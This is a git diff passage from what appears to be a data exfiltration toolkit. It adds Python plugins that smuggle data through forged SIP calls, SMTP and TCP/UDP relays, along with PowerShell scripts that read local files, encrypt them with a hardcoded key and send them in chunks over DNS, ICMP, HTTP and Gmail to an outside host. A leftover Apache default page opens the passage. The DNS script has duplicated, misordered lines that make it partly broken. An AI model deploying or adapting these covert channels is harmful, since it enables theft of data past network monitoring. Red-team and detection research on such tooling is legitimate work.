+ By default, Debian does not allow access through the web browser to + any file apart of those located in /var/www, + public_html + directories (when enabled) and /usr/share (for web + applications). If your site is using a web document root + located elsewhere (such as in /srv) you may need to whitelist your + document root directory in /etc/apache2/apache2.conf. +

+

+ The default Debian document root is /var/www/html. You + can make your own virtual hosts under /var/www. This is different + to previous releases which provides better security out of the box. +

+
+ +
+
+ Reporting Problems +
+
+

+ Please use the reportbug tool to report bugs in the + Apache2 package with Debian. However, check existing bug reports before reporting a new bug. +

+

+ Please report bugs specific to modules (such as PHP and others) + to respective packages, not to the web server itself. +

+
+ + + + +
+
+
+
+ + + + diff --git a/plugins/sip.py b/plugins/sip.py new file mode 100644 index 0000000..232092b --- /dev/null +++ b/plugins/sip.py @@ -0,0 +1,273 @@ +#!/usr/bin/env python + +#inspired from: https://books.google.fr/books?id=cHOmCwAAQBAJ&pg=PA747&lpg=PA747&dq=sdp+smime&source=bl&ots=34LYW5iJyc&sig=4a1szVXKMDtqQWUb0K2gM29AgL8&hl=fr&sa=X&ved=0ahUKEwjbm5Tf1JzTAhUGfxoKHX-UCQUQ6AEIVTAG#v=onepage&q=sdp%20smime&f=false + +from dpkt import sip +import socket +import string +import random +import base64 +import re +from random import choice +import traceback + +config = None +app_exfiltrate = None + +#Ideally replace with real employee names +names = ('alice', 'bob', 'eve', 'kim', 'lorrie', 'ben') +caller, callee = random.sample(names, 2) + +#proxy = "freephonie.net" #Might as well be internal PBX +#domain = 'e.corp' + +class UserAgent: + + def __init__(self, alias, ip, port=None, user_agent=None): + self.alias = alias + self.ip = ip + self.port = port + self.user_agent = 'Linphone/3.6.1 (eXosip2/4.1.0)' + self.tag = ''.join(random.sample(string.digits, 10)) + +class SIPDialog: + + def __init__(self, uac=None, uas=None, proxy=None): + self.call_id = ''.join(random.sample(string.digits, 8)) + self.uac = uac + self.uas = uas + self.branch = 'z9hG4bK' + ''.join(random.sample(string.digits, 10)) + self.proxy = proxy + self.subject = "Phone call" + + def init_from_request(self, req): + self.call_id = req.headers['call-id'] + parser = re.compile(';tag=(.*)') + [(s_alias, s_ip, tag)] = re.findall(parser, req.headers['from']) + parser = re.compile('SIP\/2\.0\/UDP (.*):(\d*)(?:\;rport.*)?\;branch=(.*)') + [(proxy, s_port, branch)] = re.findall(parser, req.headers['via']) + parser = re.compile('') + [(c_alias, c_ip)] = re.findall(parser, req.headers['to']) + user_agent = req.headers['user-agent'] + + self.tag = tag + self.branch = branch + self.uac = UserAgent(c_alias, c_ip) + self.uas = UserAgent(s_alias, s_ip, port=s_port, user_agent=user_agent) + self.proxy = proxy + + def invite(self, uac, uas, payload): + #Call-ID magic identifier + self.call_id = self.call_id[:3] + "42" + self.call_id[5:] + #Branch magic identifier + self.branch = self.branch[:11] + "42" + self.branch[13:] + self.uac = uac + self.uas = uas + self.proxy = self.proxy or '127.0.0.1' #keep calm & blame misconfiguration + packet = sip.Request() + #forge headers + packet.uri = 'sip:' + self.uas.alias + '@'+ self.uas.ip + packet.headers['Via'] = 'SIP/2.0/UDP {}:{};branch={}'.format(self.proxy, self.uac.port, self.branch) + packet.headers['Max-Forwards'] = 70 + packet.headers['CSeq'] = '20 ' + packet.method + packet.headers['From'] = '{} ;tag={}'.format(self.uac.alias.capitalize(), self.uac.alias, self.uac.ip, self.uac.tag) + packet.headers['To'] = '{} '.format(self.uas.alias.capitalize(), self.uas.alias, self.uas.ip) + packet.headers['Contact'] = ''.format(self.uac.alias, self.uac.ip) + packet.headers['Call-ID'] = self.call_id + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Subject'] = self.subject + packet.headers['Content-Type'] = 'application/sdp' + packet.headers['Allow'] = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO' + #forge the sdp message + sdp_content = "v=0\r\n" + sdp_content += "o=" + self.uac.alias + " 99 939 IN IP4 " + self.uac.ip + "\r\n" + sdp_content += "s=Talk\r\n" + sdp_content += "c=IN IP4 " + self.uac.ip + "\r\n" + sdp_content += "t=0 0\r\n" + sdp_content += "m=audio 7078 RTP/AVP 124 111 110 0 8 101\r\n" + sdp_content += "a=rtpmap:124 opus/48000\r\n" + sdp_content += "a=fmtp:124 useinbandfec=1; usedtx=1\r\n" + sdp_content += "a=rtpmap:111 speex/16000\r\n" + sdp_content += "a=fmtp:111 vbr=on\r\n" + sdp_content += "a=rtpmap:110 speex/8000\r\n" + sdp_content += "a=fmtp:110 vbr=on\r\n" + sdp_content += "a=rtpmap:101 telephone-event/8000\r\n" + sdp_content += "a=fmtp:101 0-11\r\n" + sdp_content += "m=video 9078 RTP/AVP 103 99\r\n" + sdp_content += "a=rtpmap:103 VP8/90000\r\n" + sdp_content += "a=rtpmap:99 MP4V-ES/90000\r\n" + sdp_content += "a=fmtp:99 profile-level-id=3\r\n" + #forge sdp header + sdp_hdr = "Content-Type: message/sip\r\n" + sdp_hdr += "Content-Length: " + str(len(sdp_content)) + '\r\n' + sdp_hdr += "INVITE sip:{}@{} SIP/2.0".format(self.uas.alias, self.uas.ip) + sdp_hdr += packet.pack_hdr() + sdp_hdr += "\r\n" + #forge the false signature + sig = 'Content-Type: application/x-pkcs7-signature; name="smime.p7s"\r\n' + sig += 'Content-Transfer-Encoding: base64\r\n' + sig += 'Content-Disposition: attachment; filename="smime.p7s"; handling=required\r\n' + sig += base64.b64encode(payload) + #forge sip body + boundary = ''.join(random.sample(string.digits + string.ascii_letters, 20)) + packet.body = '--' + boundary + '\r\n' + packet.body += sdp_hdr + packet.body += sdp_content + '\r\n' + packet.body += '--' + boundary + '\r\n' + packet.body += sig + '\r\n' + packet.body += '--' + boundary + '--' + #replace sip header content-type with multipart/signed + packet.headers['Content-Type'] = 'multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary=' + boundary + #Update Content-Length + packet.headers['Content-Length'] = str(len(packet.body)) + + return packet + + def trying(self, invite): + packet = sip.Response() + packet.status = '100' + packet.reason = 'Trying' + packet.headers['Via'] = invite.headers['via'] + packet.headers['From'] = invite.headers['from'] + packet.headers['To'] = invite.headers['to'] + packet.headers['Call-ID'] = invite.headers['call-id'] + packet.headers['CSeq'] = invite.headers['cseq'] + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Content-Length'] = '0' + + return packet + + def ringing(self, invite): + packet = sip.Response() + packet.status = '180' + packet.reason = 'Ringing' + packet.headers['Via'] = invite.headers['via'] + packet.headers['From'] = invite.headers['from'] + packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag) + packet.headers['Call-ID'] = invite.headers['call-id'] + packet.headers['CSeq'] = invite.headers['cseq'] + packet.headers['Contact'] = ''.format(self.uac.alias, self.uac.ip) + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Content-Length'] = '0' + + return packet + + def decline(self, invite): + packet = sip.Response() + packet.status = '603' + packet.reason = 'Decline' + packet.headers['From'] = invite.headers['from'] + packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag) + packet.headers['Call-ID'] = invite.headers['call-id'] + packet.headers['CSeq'] = invite.headers['cseq'] + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Content-Length'] = '0' + + return packet + + def ack(self, message): + packet = sip.Request() + packet.method = 'ACK' + packet.uri = 'sip:{}@{}'.format(self.uas.alias, self.uas.ip) + packet.headers['Via'] = message.headers['via'] + packet.headers['From'] = message.headers['from'] + packet.headers['To'] = message.headers['to'] + packet.headers['Call-ID'] = message.headers['call-id'] + packet.headers['CSeq'] = '20 ACK' + packet.headers['Content-Length'] = '0' + + return packet + +def listen(): + app_exfiltrate.log_message('info', "[sip] Listening for incoming calls") + port = config['port'] + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(('', port)) + while True: + data, addr = sock.recvfrom(65535) + try: + req = sip.Request() + req.unpack(data) + if req.method == 'INVITE': + dialog = SIPDialog() + dialog.init_from_request(req) + #Simulate legit softphone responses + trying = dialog.trying(req) + sock.sendto(trying.pack(), addr) + ringing = dialog.ringing(req) + sock.sendto(ringing.pack(), addr) + decline = dialog.decline(req) + sock.sendto(decline.pack(), addr) + #Check if the request is part of exfiltration job + if dialog.branch[11:13] == "42" and dialog.call_id[3:5] == "42": + parser = re.compile('boundary=(.*)') + [boundary] = re.findall(parser, req.headers['content-type']) + #Hackish payload isolation + payload = req.body.split('--'+boundary)[-2].split('\r\n')[-2] + app_exfiltrate.log_message('info', "[sip] Received {0} bytes from {1}".format(len(payload), addr[0])) + app_exfiltrate.retrieve_data(base64.b64decode(payload)) + except Exception as e: + print traceback.format_exc() + print 'exception: ' + repr(e) + pass + +def send(data): + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] + port = config['port'] + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(('', port)) + dialog = SIPDialog() + laddr = socket.gethostbyname(socket.getfqdn()) + uac = UserAgent(caller, laddr, port=port) + uas = UserAgent(callee, target, port=port) + invite = dialog.invite(uac, uas, data) + app_exfiltrate.log_message('info', "[sip] Sending {0} bytes to {1}".format(len(data), target)) + sock.sendto(invite.pack(), (target, port)) + while True: + try: + recv_data, addr = sock.recvfrom(65535) + response = sip.Response() + response.unpack(recv_data) + if response.reason == 'Decline': + ack = dialog.ack(response) + sock.sendto(ack.pack(), (target, port)) + sock.close() + break + else: + continue + except: + pass + break + +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [sip] Starting SIP proxy") + target = config['target'] + port = config['port'] + sender = "" + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(('', port)) + while True: + data, addr = sock.recvfrom(65535) + if addr[0] != target: + sender = addr[0] + try: + if addr[0] == target: + app_exfiltrate.log_message('info', "[proxy] [sip] Relaying data to {0}".format(target)) + sock.sendto(data, (sender, port)) + else: + app_exfiltrate.log_message('info', "[proxy] [sip] Relaying data to {0}".format(sender)) + sock.sendto(data, (target, port)) + except: + print traceback.format_exc() + +class Plugin: + + def __init__(self, app, conf): + global app_exfiltrate, config + app_exfiltrate = app + config = conf + app.register_plugin('sip', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/slack.py b/plugins/slack.py index 80c991b..35e4b2e 100644 --- a/plugins/slack.py +++ b/plugins/slack.py @@ -31,11 +31,14 @@ def listen(): else: app_exfiltrate.log_message('warning', "Connection Failed, invalid token?") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [slack] proxy mode unavailable (useless) for Slack plugin") + class Plugin: def __init__(self, app, conf): global app_exfiltrate, config, sc sc = SlackClient(conf['api_token']) config = conf - app.register_plugin('slack', {'send': send, 'listen': listen}) - app_exfiltrate = app \ No newline at end of file + app.register_plugin('slack', {'send': send, 'listen': listen, 'proxy': proxy}) + app_exfiltrate = app diff --git a/plugins/smtp.py b/plugins/smtp.py new file mode 100644 index 0000000..186a868 --- /dev/null +++ b/plugins/smtp.py @@ -0,0 +1,84 @@ +import smtpd +import asyncore +import email +import smtplib +from email.mime.text import MIMEText +from random import choice + +config = None +app_exfiltrate = None + +recipient = "recipient@example.com" +author = "author@example.com" +subject = "det:tookit" + +class CustomSMTPServer(smtpd.SMTPServer): + + def process_message(self, peer, mailfrom, rcpttos, data): + body = email.message_from_string(data).get_payload() + app_exfiltrate.log_message('info', "[smtp] Received email "\ + "from {}".format(peer)) + try: + self.handler(body) + except Exception, e: + print e + pass + +def send(data): + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] + port = config['port'] + # Create the message + msg = MIMEText(data) + msg['To'] = email.utils.formataddr(('Recipient', recipient)) + msg['From'] = email.utils.formataddr(('Author', author)) + msg['Subject'] = subject + server = smtplib.SMTP(target, port) + try: + server.sendmail(author, [recipient], msg.as_string()) + except: + pass + finally: + server.close() + +def relay_email(data): + target = config['target'] + port = config['port'] + # Create the message + msg = MIMEText(data) + msg['To'] = email.utils.formataddr(('Recipient', recipient)) + msg['From'] = email.utils.formataddr(('Author', author)) + msg['Subject'] = subject + server = smtplib.SMTP(target, port) + try: + app_exfiltrate.log_message('info', "[proxy] [smtp] Relaying email to {}".format(target)) + server.sendmail(author, [recipient], msg.as_string()) + except: + pass + finally: + server.close() + +def listen(): + port = config['port'] + app_exfiltrate.log_message('info', "[smtp] Starting SMTP server on port {}".format(port)) + server = CustomSMTPServer(('', port), None) + server.handler = app_exfiltrate.retrieve_data + asyncore.loop() + +def proxy(): + port = config['port'] + app_exfiltrate.log_message('info', "[proxy] [smtp] Starting SMTP server on port {}".format(port)) + server = CustomSMTPServer(('', port), None) + server.handler = relay_email + asyncore.loop() + +class Plugin: + + def __init__(self, app, conf): + global app_exfiltrate, config + config = conf + app_exfiltrate = app + app.register_plugin('smtp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/tcp.py b/plugins/tcp.py index b8e06de..7f9d3c8 100644 --- a/plugins/tcp.py +++ b/plugins/tcp.py @@ -1,12 +1,16 @@ import socket import sys +from random import choice config = None app_exfiltrate = None - def send(data): - target = config['target'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] app_exfiltrate.log_message( 'info', "[tcp] Sending {0} bytes to {1}".format(len(data), target)) @@ -15,8 +19,11 @@ def send(data): client_socket.send(data.encode('hex')) client_socket.close() - def listen(): + app_exfiltrate.log_message('info', "[tcp] Waiting for connections...") + sniff(handler=app_exfiltrate.retrieve_data) + +def sniff(handler): port = config['port'] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -32,7 +39,6 @@ def listen(): sys.exit(-1) while True: - app_exfiltrate.log_message('info', "[tcp] Waiting for connections...") connection, client_address = sock.accept() try: app_exfiltrate.log_message( @@ -44,7 +50,7 @@ def listen(): 'info', "[tcp] Received {} bytes".format(len(data))) try: data = data.decode('hex') - app_exfiltrate.retrieve_data(data) + handler(data) except Exception, e: app_exfiltrate.log_message( 'warning', "[tcp] Failed decoding message {}".format(e)) @@ -53,6 +59,19 @@ def listen(): finally: connection.close() +def relay_tcp_packet(data): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message( + 'info', "[proxy] [tcp] Relaying {0} bytes to {1}".format(len(data), target)) + client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client_socket.connect((target, port)) + client_socket.send(data.encode('hex')) + client_socket.close() + +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [tcp] Waiting for connections...") + sniff(handler=relay_tcp_packet) class Plugin: @@ -61,4 +80,4 @@ def __init__(self, app, conf): global app_exfiltrate config = conf app_exfiltrate = app - app.register_plugin('tcp', {'send': send, 'listen': listen}) \ No newline at end of file + app.register_plugin('tcp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/twitter.py b/plugins/twitter.py index d5307cf..7ea4899 100644 --- a/plugins/twitter.py +++ b/plugins/twitter.py @@ -67,6 +67,8 @@ def listen(): app_exfiltrate.log_message( 'warning', "[twitter] Couldn't listen for Twitter DMs".format(e)) +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [twitter] proxy mode unavailable (useless) for twitter plugin...") class Plugin: @@ -74,5 +76,5 @@ def __init__(self, app, conf): global app_exfiltrate, config, USERNAME config = conf USERNAME = config['username'] - app.register_plugin('twitter', {'send': send, 'listen': listen}) + app.register_plugin('twitter', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/udp.py b/plugins/udp.py index 7b950f4..244e8eb 100644 --- a/plugins/udp.py +++ b/plugins/udp.py @@ -1,20 +1,27 @@ import socket import sys +from random import choice config = None app_exfiltrate = None def send(data): - target = config['target'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] app_exfiltrate.log_message( 'info', "[udp] Sending {0} bytes to {1}".format(len(data), target)) client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client_socket.sendto(data.encode('hex'), (target, port)) - def listen(): + sniff(handler=app_exfiltrate.retrieve_data) + +def sniff(handler): port = config['port'] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) @@ -40,7 +47,8 @@ def listen(): 'info', "[udp] Received {} bytes".format(len(data))) try: data = data.decode('hex') - app_exfiltrate.retrieve_data(data) + #app_exfiltrate.retrieve_data(data) + handler(data) except Exception, e: app_exfiltrate.log_message( 'warning', "[udp] Failed decoding message {}".format(e)) @@ -49,6 +57,19 @@ def listen(): finally: pass +def relay_dns_packet(data): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message( + 'info', "[proxy] [udp] Relaying {0} bytes to {1}".format(len(data), target)) + client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + client_socket.sendto(data.encode('hex'), (target, port)) + +def proxy(): + app_exfiltrate.log_message( + 'info', "[proxy] [udp] Listening for udp packets") + sniff(handler=relay_dns_packet) + class Plugin: @@ -57,4 +78,4 @@ def __init__(self, app, conf): global app_exfiltrate config = conf app_exfiltrate = app - app.register_plugin('udp', {'send': send, 'listen': listen}) + app.register_plugin('udp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/powershell/dns.ps1 b/powershell/dns.ps1 new file mode 100644 index 0000000..63d4366 --- /dev/null +++ b/powershell/dns.ps1 @@ -0,0 +1,107 @@ +function DNS-exfil +{ + param ([string] $file) + $server = '192.168.0.17' + $bytes = [System.IO.File]::ReadAllBytes($file) + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $bytes = AES $bytes + $string = [System.BitConverter]::ToString($bytes); + $string = $string -replace '-',''; + $filename = Split-Path $file -leaf + param ([string] $file) + $server = '192.168.0.17' + $bytes = [System.IO.File]::ReadAllBytes($file) + $string = [System.BitConverter]::ToString($bytes); + $string = $string -replace '-',''; + $data = [System.IO.File]::ReadAllBytes($file) + + $string = [System.BitConverter]::ToString($data); + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $filename = Split-Path $file -leaf + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 50 + $id = 0 + # get the size of the file and split it + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-DNSRequest $server $data $jobid + for($i=0; $i-lt($repeat-1); $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-DNSRequest $server $data $jobid + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-DNSRequest $server $data $jobid + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-DNSRequest $server $data $jobid +}; + +function Send-DNSRequest { + param ([string] $server, [string] $data, [string] $jobid) + $data = Convert-ToCHexString $data + $len = $data.Length; + $key = 'google.com' + #$split = Get-Random -minimum 1 -maximum 250; + $split = 66 - $len.Length - $key.Length; + # get the size of the file and split it + $repeat=[Math]::Floor($len/($split)); + $remainder=$len%$split; + if($remainder){ + $repeatr = $repeat + 1 + }; + + for($i=0; $i-lt$repeat; $i++){ + $str = $data.Substring($i*$Split,$Split); + $str = $jobid + $str + '.' + $key; + $q = nslookup -querytype=A $str $server -timeout=0.1; + }; + if($remainder){ + $str = $data.Substring($len-$remainder); + $str = $jobid + $str + '.' + $key; + $q = nslookup -querytype=A $str $server -timeout=0.1; + }; +}; + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString +{ + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +} \ No newline at end of file diff --git a/powershell/gmail.ps1 b/powershell/gmail.ps1 new file mode 100644 index 0000000..a4a44ec --- /dev/null +++ b/powershell/gmail.ps1 @@ -0,0 +1,89 @@ +function GMail-exfil +{ + param ([string] $file) + $bytes = [System.IO.File]::ReadAllBytes($file) + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $filename = Split-Path $file -leaf + $bytes = AES $bytes + $string = [System.BitConverter]::ToString($bytes); + $string = $string -replace '-',''; + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 3000 + $id = 0 + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-GMail $data + for($i=0; $i-lt($repeat-1); $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-GMail $data + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-GMail $data + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-GMail $data +}; + +function Send-GMail { + param ([string] $data) + $data = Base64 $data; + $From = "" + $To = "" + $SMTPServer = "smtp.gmail.com" + $SMTPPort = "587" + $Username = "" + $Password = '' + $subject = "det:toolkit" + $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort); + $smtp.EnableSSL = $true + $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password); + $smtp.Send($Username, $Username, $subject, $data); +}; + +function Base64 { + param ([string] $data) + $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data) + return [Convert]::ToBase64String($Bytes) +} + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString +{ + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +} \ No newline at end of file diff --git a/powershell/http.ps1 b/powershell/http.ps1 new file mode 100644 index 0000000..4d2f08d --- /dev/null +++ b/powershell/http.ps1 @@ -0,0 +1,81 @@ +function Send-HTTPRequest { + param ([string] $data, [System.__ComObject] $IE) + $url = 'http://192.168.0.17:8080/'; + $data = Base64 $data; + $IE.navigate2($url+$data) + Start-Sleep -s 2; +}; + +function HTTP-exfil { + param ([string] $file) + $bytes = [System.IO.File]::ReadAllBytes($file) + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $IE = new-object -com internetexplorer.application; + $data = [System.IO.File]::ReadAllBytes($file) + $data = AES $data + $string = [System.BitConverter]::ToString($data); + $string = $string -replace '-',''; + $filename = Split-Path $file -leaf + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 300 + $id = 0 + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-HTTPRequest $data $IE + for($i=0; $i-lt$repeat-1; $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-HTTPRequest $data $IE + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-HTTPRequest $data $IE + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-HTTPRequest $data $IE +}; + +function Base64 { + param ([string] $data) + $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data) + return [Convert]::ToBase64String($Bytes) +} + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString { + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +} \ No newline at end of file diff --git a/powershell/icmp.ps1 b/powershell/icmp.ps1 new file mode 100644 index 0000000..5ccf002 --- /dev/null +++ b/powershell/icmp.ps1 @@ -0,0 +1,88 @@ +function Send-ICMPPacket { + param ([string] $data) + $data = Base64 $data; + $IPAddress = '192.168.0.17' + + $ICMPClient = New-Object System.Net.NetworkInformation.Ping + $PingOptions = New-Object System.Net.NetworkInformation.PingOptions + $PingOptions.DontFragment = $True + + $sendbytes = ([text.encoding]::ASCII).GetBytes($data) + $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null + Start-Sleep -s 1; +}; + +function ICMP-exfil +{ + param ([string] $file) + $bytes = [System.IO.File]::ReadAllBytes($file) + $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $hash = [System.BitConverter]::ToString($md5.ComputeHash($bytes)) + $hash = $hash -replace '-',''; + $filename = Split-Path $file -leaf + $data = [System.IO.File]::ReadAllBytes($file); + $data = AES $data + $string = [System.BitConverter]::ToString($data); + $string = $string -replace '-',''; + $len = $string.Length; + #$split = Get-Random -minimum 1 -maximum 250; + $split = 1000 + $id = 0 + $repeat=[Math]::Ceiling($len/$split); + $remainder=$len%$split; + $jobid = [System.Guid]::NewGuid().toString().Substring(0, 7) + $data = $jobid + '|!|' + $filename + '|!|REGISTER|!|' + $hash + $q = Send-ICMPPacket $data + for($i=0; $i-lt($repeat-1); $i++){ + $str = $string.Substring($i * $Split, $Split); + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-ICMPPacket $data + }; + if($remainder){ + $str = $string.Substring($len-$remainder); + $i = $i +1 + $data = $jobid + '|!|' + $i + '|!|' + $str + $q = Send-ICMPPacket $data + }; + + $i = $i + 1 + $data = $jobid + '|!|' + $i + '|!|DONE' + $q = Send-ICMPPacket $data +}; + +function Base64 { + param ([string] $data) + $Bytes = [System.Text.Encoding]::ASCII.GetBytes($data) + return [Convert]::ToBase64String($Bytes) +} + +function AES { + param ([byte[]] $data) + + $key = "THISISACRAZYKEY" + $sha256 = New-Object System.Security.Cryptography.SHA256Managed + + $AES = New-Object System.Security.Cryptography.AesManaged + $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC + $AES.BlockSize = 128 + $AES.KeySize = 256 + $AES.Padding = "PKCS7" + $AES.Key = [Byte[]] $sha256.ComputeHash([Text.Encoding]::ASCII.GetBytes($key)) + + $IV = new-object "System.Byte[]" 16 + $RNGCrypto = New-Object System.Security.Cryptography.RNGCryptoServiceProvider + $RNGCrypto.GetBytes($IV) + $AES.IV = $IV + + $Encryptor = $AES.CreateEncryptor() + + return ($IV + $encryptor.TransformFinalBlock($data, 0, $data.Length)) +}; + +function Convert-ToCHexString +{ + param ([String] $str) + $ans = '' + [System.Text.Encoding]::ASCII.GetBytes($str) | % { $ans += "{0:X2}" -f $_ } + return $ans; +}; \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 8dc9e9f..62ec254 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,8 @@ tweepy -scapy pysocks dnslib pycrypto -slackclient \ No newline at end of file +slackclient +dpkt>=1.9.1 +pyftpdlib +email